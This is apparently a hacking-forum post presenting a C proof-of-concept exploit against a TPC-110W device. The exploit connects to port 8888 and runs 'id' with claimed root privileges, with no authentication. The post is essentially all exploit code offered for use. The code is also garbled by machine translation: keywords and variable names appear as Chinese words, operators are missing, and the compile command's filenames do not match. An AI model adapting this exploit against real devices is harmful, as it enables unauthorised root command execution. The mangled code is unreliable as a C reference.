H

TPC -110W-关键功能缺少身份验证

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#include stdio.h
#include stdlib.h
#include string.h
#include sys/socket.h
#include arpa/inet.h
#include unistd.h
int main(int argc,char *argv []){
int袜子;
struct sockaddr_in serv_addr;
char命令[512];
袜子=套接字(af_inet,sock_stream,0);
如果(袜子0){
Perror('socket');
出口(1);
}
memset(serv_addr,'0',sizeof(serv_addr));
serv_addr.sin_family=af_inet;
serv_addr.sin_port=htons(8888); //TPC-110W的默认端口为8888
if(inet_pton(af_inet,'192.168.1.10',serv_addr.sin_addr)=0){//假设设备的IP地址为192.168.1.10
perror('inet_pton');
出口(1);
}
if(connect(sock,(struct sockaddr *)serv_addr,sizeof(serv_addr))0){
Perror('Connect');
出口(1);
}
//带有根特权的运行命令
snprintf(命令,sizeof(命令),'id \ n'); //检查用户ID
写(袜子,命令,strlen(命令));
memset(命令,'0',sizeof(命令));
读(袜子,命令,sizeof(命令));
printf('%s \ n',命令);
关闭(袜子);
返回0;
}
//gcc -o tpc-1110w-enpploit tpc-1110w-exploit
 
后退
顶部